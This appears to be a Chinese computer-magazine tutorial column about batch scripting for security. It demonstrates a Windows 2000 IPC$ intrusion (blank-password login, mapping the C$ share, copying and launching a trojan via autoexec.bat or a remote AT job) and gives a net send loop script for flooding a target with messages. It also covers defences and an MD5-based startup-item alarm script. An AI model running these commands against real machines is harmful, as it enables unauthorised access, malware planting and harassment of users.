DOS快餐店(特别篇)
批处理也玩“黑吃黑”
★★★
■掌柜的
√了解IPC入侵原理并掌握防御方法
√抵抗信使炸弹的攻击
√打造带警报的自启动项防火墙

自从前几次小伙计写了几个精彩的脚本后,就始终有些飘飘然,觉得掌柜的也不过如此,江湖上传言他为顶尖高手原来也只是浪得虚名罢了。这不?小伙计大摇大摆地走进了掌柜的办公室,准备提出加薪要求。可是掌柜的在干嘛呢?目不转睛地盯着他的19\’液晶屏幕并间歇性地进入沉思。
小伙计蹑手蹑脚地绕到了掌柜的背后,顿时被显示器上的内容镇住了——原来掌柜的是一个黑客组织成员。经过一番软磨硬泡,掌柜的终于同意传授几招。

一、IPC木马之迷
IPC,你可能听过这个名词。前几年IPC漏洞曾经红极一时,从原先黑客们手工敲入命令行,到后来出现了能在扫描时同步植入木马的高效IPC扫描器。现在仍有不少人天天开着IPC扫描器在网上寻找“肉鸡”,但究竟IPC入侵是怎么回事呢?掌柜的拿小伙子的机器(IP:192.168.0.2,系统:Windows 2000)做起了测试。
注意:以下代码仅对具有空口令管理员账户的系统有效(net use命令的使用请参考本刊今年第9期的《连根拔起——共享的二次登录》)。
net use \\192.168.0.2\\ipc$ “” /user:”administrator”
这行命令的大意是:以用户名administrator及空密码登录IP地址为192.168.0.2的机器上的IPC共享,登录了这台机器的IPC共享后就相当于拿到了对它的管理访问权限,那些具有远程参数的命令就有用武之地了(比如本刊今年第10期的《DOS快餐店》中介绍的AT命令)。
net use z: \\192.168.0.2\\c$
这行命令的大意是:登录IP为192.168.0.2的机器上的共享资源c$,并将这个共享映射为本地盘符Z:。
“咦?我明明没开共享啊!”小伙计惊呼。掌柜的头也不回便答道:“难道你不知道Windows的默认共享吗?”
什么是Windows的默认共享:在Windows 2000/XP等系统中,为了便于管理,默认将各盘符都设置了共享。共享名与盘符相同,但在最后加了一个“$”隐藏符号,这样在普通情况下就无法从“网上邻居”中浏览到这个共享资源。而一旦登录了IPC管理共享,就能够轻易添加对这些共享盘符的映射了。
现在小伙计的C盘已经被掌柜的映射为自己的Z盘了,而且访问权限是“完全控制”!也就是说通过对本地Z盘的操作,就能轻松控制远程主机上的C盘。“如果是黑客得到了这样的访问权限,那么我想,他现在应该会上传木马了。”掌柜的如是说。
copy d:\\trojan.exe z:\\winnt\\system32
这行命令的大意是:将d:\\下的文件trojan.exe(可能是黑客本地机器上的一个木马程序)复制到z:\\winnt\\system32目录(被入侵机器的远程目录)中。
经过这条copy命令,木马文件已经轻松上传到了小伙计的系统目录中。小伙计还有些不服:“就算你能把木马放进我的硬盘又怎样,只要我不执行它,你就拿我没折。”“要运行这个程序,有N种方法。”掌柜的轻蔑地看了小伙子一眼,冷冷地答道。
①重启后运行:加入自启动文件
在本地新建一个文本文件并命名为autoexec.bat,在其中加入一行命令“trojan.exe”(不含引号),然后执行以下命令(假设刚才新建的位置在d:\\):
copy d:\\autoexec.bat z:\\ /y
这行命令的大意是:用本地目录d:\\下的文件autoexec.bat覆盖远程目录z:\\(即被入侵的机器的C盘根目录)下的同名文件,在启动系统时默认将自动执行autoexec.bat中的命令,那么当小伙计重启系统后,木马就偷偷执行了……
②现在就运行:远程AT命令
net time \\192.168.0.2
首先用net time命令获取远程计算机的系统时间,命令返回结果显示小伙计的系统时间为14:55,现在可以用AT命令了(AT命令的使用请参考上期《DOS快餐店》)。
at \\192.168.0.2 15:00 trojan.exe
这样到了15:00时,远程计算机上就自动执行了trojan.exe。
小提示
在以上的命令中使用“trojan.exe”而非“c:\\winnt\\system32\\trojan.exe”是由于该文件在系统目录(即system32)下,如果没有全路径,则系统会首先从系统目录下寻找符合名称要求的文件。

如何防范IPC攻击
1.安装网络防火墙,并为Administrator用户设置一个较复杂的超过8位的密码。
2.使用本刊今年第9期中的《用好Windows权限之剑——严防非法入侵》中介绍的方法给CMD设置权限。

二、疯狂的信使消息炸弹
新装完系统之后,很多用户都会报怨为什么会弹出信使服务的窗口(在CFan的论坛上就经常会有读者提这个问题)。信使服务原来是微软设计用来帮助用户及时传递重要消息的工具,可是现在却被很多人用来传递广告,在命令行提示符下输入“net send IP地址 要发送的消息”命令即可。想不想当一回“黑客”,来和朋友开个小玩笑呢?将下面的脚本保存为BAT文件(如:sendmsg.bat):
@echo 正在攻击中
:start
@net send %1 %2
@if errorlevel 1 goto over
goto start
:over
@echo 发送失败
这样,只需执行“sendmsg.bat IP地址 要发送的消息”,就会自动向指定的IP循环发送消息,直到对方因窗口过多而被迫重启。
这段脚本的大意是:脚本开始时显示“正在攻击中”利用net send命令将第二个参数所包含的内容作为消息发送到第一个参数所指定的计算机上。如果net send命令执行不成功(比如远程主机不存在,或者未打开这项服务),则脚本会跳转到over标号处,显示“发送失败”并退出脚本。而如果发送成功的话,则跳转到start标号,start标签在net send命令前,所以发送成功之后就会又重新发送,形成了循环发送。

如何防范信使消息炸弹
1.安装具有过滤信使消息的防火墙。
2.运行services.msc,在弹出的服务窗口右侧列表中双击Messenger服务,点击“停止”按钮并将“启动类型”设置为“禁用”。

三、启动项被更改时,请通知我
小伙计还在检查刚才被掌柜的入侵的自启动项:“黑客都这样神不知鬼不觉地入侵,那我该如何防御呢?”掌柜的不慌不忙地拿出了收藏的利器——MD5检测工具(以下的脚本中需要用到此工具,可从http://www.newhua.com/cfan/200511/md5.zip)。
什么是MD5:MD5的全称是Message-Digest Algorithm 5(信息-摘要算法),它能将一串随机长度的信息(当然也包括文件)通过其加密函数算法生成一个惟一的128位值,相同信息的MD5值也是相同的,反之,文件即使略有改动,其MD5值也会产生变化。因此,只需比较文件的MD5值,就能知道文件是否经过改动了。
1.给自启动项生成MD5“身份证”
将以下脚本保存为run.bat,和刚才下载的md5.exe(从md5.zip中解压缩得到)放在同一目录下。每次执行都将生成autoexec.bat文件的MD5文件ate.md5和注册表自启动项的MD5文件run.md5(autoexec.bat文件的路径可根据实际系统所在盘符进行修改,一般为默认的c:\\)。
@echo off
md5.exe c:\\autoexec.bat > c:\\ate.md5
regedit.exe /e c:\\run.reg HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
md5.exe c:\\run.reg > c:\\run.md5
脚本讲解:用md5.exe生成c:\\autoexec.bat文件的MD5值,并写入c:\\ate.md5中。导出注册表分支[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run]为c:\\run.reg,再以md5.exe计算出该文件的MD5值并写入c:\\run.md5中。
2.查验自启动项的MD5“身份证”
将以下脚本保存为check.bat,和md5.exe放在同一目录下。
@echo off
md5.exe c:\\autoexec.bat > c:\\ate2.md5
regedit.exe /e c:\\run.reg HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
md5.exe c:\\run.reg > c:\\run2.md5
fc c:\\ate.md5 c:\\ate2.md5 > nul
if errorlevel 1 @echo Msgbox “autoexec.bat文件经过改动!”,vbInformation,”黑客警报” > c:\\warn.vbs
if exist c:\\warn.vbs c:\\warn.vbs
del c:\\warn.vbs
fc c:\\run.md5 c:\\run2.md5 >nul
if errorlevel 1 @echo Msgbox “注册表自启动项经过改动!”,vbInformation,”黑客警报” > c:\\warn.vbs
if exist c:\\warn.vbs c:\\warn.vbs
del c:\\warn.vbs
脚本讲解:用md5.exe生成c:\\autoexec.bat文件的MD5值,并写入c:\\ate2.md5中。导出注册表分支[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run]为c:\\run.reg,再以md5.exe计算出该文件的MD5值并写入c:\\run2.md5中。然后用fc命令比较c:\\ate.md5(以前的autorun.bat的MD5文件)和c:\\ate2.md5(现在的autorun.bat的MD5文件)。如果发现MD5值发生了变化(即两个MD5文件不一致),下方的“if errorlevel 1”语句就会执行其右侧的命令了,右侧的“@echo Msgbox “注册表自启动项经过改动!”,vbInformation,”黑客警报” > c:\\warn.vbs”是将“Msgbox “注册表自启动项经过改动!”,vbInformation,”黑客警报””这行语句写入文件c:\\warn.vbs中,如果写入成功(文件存在)就执行。再用fc命令比较c:\\run.md5 c:\\run2.md5,如果发现MD5变化,即文件改动就将“Msgbox “注册表自启动项经过改动!”,vbInformation,”黑客警报””写入到文件c:\\warn.vbs中,写入成功就执行。这行VBS脚本的功能是弹出一个对话框,并显示指定的文字(见图1)。在弹出框被关闭后,就删除这个VBS文件。
*fc命令的详细使用方法将在今后的《DOS快餐店》中进行讲解。
脚本使用:将check.bat加入注册表自启动项中(也可是其他启动方式),双击run.bat进行MD5文件的初始化(以后每次进行合法的自启动项修改时,都要重新运行这个脚本一次),重新启动后即开始检查。

DIY你的DOS菜
上期答案:
1.为D:\\music\\1.mp3添加“只读”属性,同时清除“隐藏”属性。
attrib +r -h d:\\music\\1.mp3
2.将D:\\music目录下所有文件及子目录设置为“隐藏”,但不包括D:\\music目录本身。
attrib d:\\music\\*.* /s /d
3.在每月20日的12:00以前台方式运行d:\\test.exe。
at 12:00 /every:20 /interactive d:\\test.exe
本期习题:
1.将最后的脚本例子改为监视其他注册表项的改动,并发出警报。
2.编写能够给整个目录生成MD5文件的批处理脚本。